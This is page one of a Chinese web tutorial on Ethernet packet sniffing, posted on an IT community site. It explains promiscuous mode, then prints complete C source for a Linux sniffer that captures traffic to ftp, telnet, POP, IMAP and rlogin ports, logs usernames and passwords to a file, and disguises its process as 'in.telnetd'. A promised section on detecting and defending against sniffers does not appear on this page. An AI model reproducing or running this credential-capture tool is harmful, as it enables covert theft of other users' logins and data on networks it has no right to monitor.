设为首页 友情链接
在线留言 发表文章
加入收藏 广告联系

刺猬首页

| 专案技术 | 网络技术 | 图形图象 | 网络编程 | 网页设计 | 操作系统 | 服务器 | 技术白皮书 | 在线实验室 | 刺猬论坛 |
  | 数据库 | 设计赏析 | 存储频道 | 网络安全 | 私服架设 |   | 网站评估 | PC维护技巧 | 下载中心 | 博 客 |
专题: | Linux | java | cisco | 防病毒 | 刀片 | SOA | iscsi | ASP.NET | SQL | Oracle |
您现在的位置: IT公社 IT community >> 网络安全 >> 网站安全 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
配置安全的SCO UNIX网络…
使用SNMP服务后的安全防…
UNIX 操作系统安全检查列…
金融领域UNIX网络系统的…
Win 2003中配置SNMP服务…
Unix的Web服务器安全指南
即便是Administrator账户…
使用DOS命令 破除UNIX管…
PGP 5.5.3i for Windows…
PGP 5.5.3i for Windows…
  Sniffer黑客教程         ★★★★★
Sniffer黑客教程
 

Sniffer是一种常用的收集有用数据方法,这些数据可以是用户的帐号和密码,可以是一些商用机密数据等等。为了对sniffer的工作原理有一个深入的了解,第二节给出了一个sniffer的源程序,并对它进行讲解。最后的第三节是探测和防范sniffer的介绍。

第一节 Sniffer简介

 什么是以太网sniffing?

 以太网sniffing 是指对以太网设备上传送的数据包进行侦听,发现感兴趣的包。如果发现符合条件的包,就把它存到一个log文件中去。通常设置的这些条件是包含字"username"或"password"的包。

它的目的是将网络层放到promiscuous模式,从而能干些事情。Promiscuous模式是指网络上的所有设备都对总线上传送的数据进行侦听,并不仅仅是它们自己的数据。根据第二章中有关对以太网的工作原理的基本介绍,可以知道:一个设备要向某一目标发送数据时,它是对以太网进行广播的。一个连到以太网总线上的设备在任何时间里都在接受数据。不过只是将属于自己的数据传给该计算机上的应用程序。

利用这一点,可以将一台计算机的网络连接设置为接受所有以太网总线上的数据,从而实现sniffer。

sniffer通常运行在路由器,或有路由器功能的主机上。这样就能对大量的数据进行监控。sniffer属第二层次的攻击。通常是攻击者已经进入了目标系统,然后使用sniffer这种攻击手段,以便得到更多的信息。

sniffer除了能得到口令或用户名外,还能得到更多的其他信息,比如一个其他重要的信息,在网上传送的金融信息等等。sniffer几乎能得到任何以太网上的传送的数据包。

有许多运行与不同平台上的sniffer程序。

Linux tcpdump、DOS ETHLOAD、The Gobbler、LanPatrol、LanWatch 、Netmon、Netwatch、Netzhack

上面的这些程序,可以从互连网上找到。

使用sniffer程序或编写一个功能强大的sniffer程序需要一些网络方面的知识。因为如果没有恰当的设置这个程序,根本就不能从大量的数据中找出需要的信息。

通常sniffer程序只看一个数据包的前200-300个字节的数据,就能发现想口令和用户名这样的信息。

第二节 一个sniffer源程序

下面是一个Linux以太网sniffer的源程序。可以根据需要加强这个程序。

/* Linux sniffer.c 本程序已经在Red Hat 5.2上调试通过*/

#include < string.h>

#include < ctype.h>

#include < stdio.h>

#include < netdb.h>

#include < sys/file.h>

#include < sys/time.h>

#include < sys/socket.h>

#include < sys/ioctl.h>

#include < sys/signal.h>

#include < net/if.h>

#include < arpa/inet.h>

#include < netinet/in.h>

#include < netinet/ip.h>

#include < netinet/tcp.h>

#include < netinet/if_ether.h>

int openintf(char *);

int read_tcp(int);

int filter(void);

int print_header(void);

int print_data(int, char *);

char *hostlookup(unsigned long int);

void clear_victim(void);

void cleanup(int);

struct etherpacket

{

struct ethhdr eth;

struct iphdr ip;

struct tcphdr tcp;

char buff[8192];

}ep;

struct

{

unsigned long saddr;

unsigned long daddr;

unsigned short sport;

unsigned short dport;

int bytes_read;

char active;

time_t start_time;

} victim;

struct iphdr *ip;

struct tcphdr *tcp;

int s;

FILE *fp;

#define CAPTLEN 512

#define TIMEOUT 30

#define TCPLOG "tcp.log"

int openintf(char *d)

{

int fd;

struct ifreq ifr;

int s;

fd=socket(AF_INET, SOCK_PACKET, htons(0x800));

if(fd < 0)

{

perror("cant get SOCK_PACKET socket");

exit(0);

}

strcpy(ifr.ifr_name, d);

s=ioctl(fd, SIOCGIFFLAGS, &ifr);

if(s < 0)

{

close(fd);

perror("cant get flags");

exit(0);

}

ifr.ifr_flags |= IFF_PROMISC;

s=ioctl(fd, SIOCSIFFLAGS, &ifr);

if(s < 0) perror("can not set promiscuous mode");

return fd;

}

int read_tcp(int s)

{

int x;

while(1)

{

x=read(s, (struct etherpacket *)&ep, sizeof(ep));

if(x > 1)

{

if(filter()==0) continue;

x=x-54;

if(x < 1) continue;

return x;

}

}

}

int filter(void)

{

int p;

p=0;

if(ip->protocol != 6) return 0;

if(victim.active != 0)

if(victim.bytes_read > CAPTLEN)

{

fprintf(fp, "\n----- [CAPLEN Exceeded]\n");

clear_victim();

return 0;

}

if(victim.active != 0)

if(time(NULL) > (victim.start_time + TIMEOUT))

{

fprintf(fp, "\n----- [Timed Out]\n");

clear_victim();

return 0;

}

if(ntohs(tcp->dest)==21) p=1; /* ftp */

if(ntohs(tcp->dest)==23) p=1; /* telnet */

if(ntohs(tcp->dest)==110) p=1; /* pop3 */

if(ntohs(tcp->dest)==109) p=1; /* pop2 */

if(ntohs(tcp->dest)==143) p=1; /* imap2 */

if(ntohs(tcp->dest)==513) p=1; /* rlogin */

if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

if(victim.active == 0)

if(p == 1)

if(tcp->syn == 1)

{

victim.saddr=ip->saddr;

victim.daddr=ip->daddr;

victim.active=1;

victim.sport=tcp->source;

victim.dport=tcp->dest;

victim.bytes_read=0;

victim.start_time=time(NULL);

print_header();

}

if(tcp->dest != victim.dport) return 0;

if(tcp->source != victim.sport) return 0;

if(ip->saddr != victim.saddr) return 0;

if(ip->daddr != victim.daddr) return 0;

if(tcp->rst == 1)

{

victim.active=0;

alarm(0);

fprintf(fp, "\n----- [RST]\n");

clear_victim();

return 0;

}

if(tcp->fin == 1)

{

victim.active=0;

alarm(0);

fprintf(fp, "\n----- [FIN]\n");

clear_victim();

return 0;

}

return 1;

}

int print_header(void)

{

fprintf(fp, "\n");

fprintf(fp, "%s => ", hostlookup(ip->saddr));

fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));

}

int print_data(int datalen, char *data)

{

int i=0;

int t=0;

victim.bytes_read=victim.bytes_read+datalen;

for(i=0;i != datalen;i++)

{

if(data[i] == 13) { fprintf(fp, "\n"); t=0; }

if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}

if(t > 75) {t=0;fprintf(fp, "\n");}

}

}

main(int argc, char **argv)

{

sprintf(argv[0],"%s","in.telnetd");

s=openintf("eth0");

ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);

tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);

signal(SIGHUP, SIG_IGN);

signal(SIGINT, cleanup);

signal(SIGTERM, cleanup);

signal(SIGKILL, cleanup);

signal(SIGQUIT, cleanup);

if(argc == 2) fp=stdout;

else fp=fopen(TCPLOG, "at");

if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}

clear_victim();

for(;;)

{

read_tcp(s);

if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);

fflush(fp);

}

}

char *hostlookup(unsigned long int in)

{

static char blah[1024];

struct in_addr i;

struct hostent * he;

i.s_addr=in;

he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);

if(he == NULL)

strcpy(blah, inet_ntoa(i));

else

strcpy(blah,he->h_name);

return blah;

}

void clear_victim(void)

{

victim.saddr=0;

victim.daddr=0;

victim.sport=0;

victim.dport=0;

victim.active=0;

victim.bytes_read=0;

victim.start_time=0;

}

void cleanup(int sig)

{

fprintf(fp, "Exiting...\n");

close(s);

fclose(fp);

exit(0);

}

下面对上面的程序作一个介绍。结构etherpacket定义了一个数据包。其中的ethhdr,iphdr,和tcphdr分别是三个结构,用来定义以太网帧,IP数据包头和TCP数据包头的格式。

它们在头文件中的定义如下:

struct ethhdr

{

unsigned char h_dest[ETH_ALEN]; /* destination eth addr */

unsigned char h_source[ETH_ALEN]; /* source ether addr */

unsigned short h_proto; /* packet type ID field */

};

struct iphdr

{

#if __BYTE_ORDER == __LITTLE_ENDIAN

u_int8_t ihl:4;

u_int8_t version:4;

#elif __BYTE_ORDER == __BIG_ENDIAN

u_int8_t version:4;

u_int8_t ihl:4;

#else

#error "Please fix < bytesex.h>"

#endif

u_int8_t tos;

u_int16_t tot_len;

u_int16_t id;

u_int16_t frag_off;

u_int8_t ttl;

u_int8_t protocol;

u_int16_t check;

u_int32_t saddr;

u_int32_t daddr;

/*The options start here. */

};

struct tcphdr

{

u_int16_t source;

u_int16_t dest;

u_int32_t seq;

u_int32_t ack_seq;

#if __BYTE_ORDER == __LITTLE_ENDIAN

u_int16_t res1:4;

u_int16_t doff:4;

u_int16_t fin:1;

u_int16_t syn:1;

u_int16_t rst:1;

u_int16_t psh:1;

u_int16_t ack:1;

u_int16_t urg:1;

u_int16_t res2:2;

#elif __BYTE_ORDER == __BIG_ENDIAN

u_int16_t doff:4;

u_int16_t res1:4;

u_int16_t res2:2;

u_int16_t urg:1;

u_int16_t ack:1;

u_int16_t psh:1;

u_int16_t rst:1;

u_int16_t syn:1;

u_int16_t fin:1;

#else

#error "Adjust your < bits/endian.h> defines"

#endif

u_int16_t window;

u_int16_t check;

u_int16_t urg_ptr;

};

上述结构的具体含义可参见《TCP/IP协议简介》一章中的相关内容。接下来,定义了一个结构变量victim。

随后,看一下函数int openintf(char *d),它的作用是打开一个网络接口。在main中是将eth0作为参数来调用这个函数。在这个函数中,用到了下面的结构:

struct ifreq

{

#define IFHWADDRLEN 6

#define IFNAMSIZ 16

union

{

char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. "en0". */

} ifr_ifrn;

union

{

struct sockaddr ifru_addr;

struct sockaddr ifru_dstaddr;

struct sockaddr ifru_broadaddr;

struct sockaddr ifru_netmask;

struct sockaddr ifru_hwaddr;

short int ifru_flags;

int ifru_ivalue;

int ifru_mtu;

struct ifmap ifru_map;

char ifru_slave[IFNAMSIZ]; /* Just fits the size */

__caddr_t ifru_data;

} ifr_ifru;

};

这个结构叫接口请求结构,用来调用在I/O输入输出时使用。所有的接口I/O输出必须有一个参数,这个参数以ifr_name开头,后面的参数根据使用不同的网络接口而不同。

如果你要看看你的计算机有哪些网络接口,使用命令ifconfig即可。一般你会看到两个接口lo0和eth0。在ifreq结构中的各个域的含义与ifconfig的输出是一一对应的。在这里,程序将eth0作为ifr_name来使用的。接着,该函数将这个网络接口设置成promiscuous模式。请记住,sniffer是工作在这种模式下的。

再看一下函数read_tcp,它的作用是读取TCP数据包,传给filter处理。Filter函数是对上述读取的数据包进行处理。

接下来的程序是将数据输出到文件中去。

[1] [2] 下一页  

频道声明:本频道的文章除部分特别声明禁止转载的专稿外,可以自由转载.但请务必注明出出处和原始作者 文章版权归本频道与文章作者所有.对于被频道转载文章的个人和网站,我们表示深深的谢意。

原始作者:佚名 录入时间:2006-11-22
信息来源:不详 投稿信箱:itqoo@126.com
文章录入:admin    责任编辑:admin 
  • 上一个文章:

  • 下一个文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    - 关于我们 - 合作伙伴 - 友情链接 - 广告刊登 - 投稿热线 - 在线留言版权声明联系方式 -
    IT公社版权所有 粤ICP备05127012号
    Copyrigh@2005-2006 itqoo.com.Inc All Rights Reserved  推荐分辨率 1024*768
    联系站长:E-Mail:itqoo@126.com     MSN:urchincc@hotmail.com    QQ:点击这里给我发消息
    特别感谢:亿太网络提供空间支持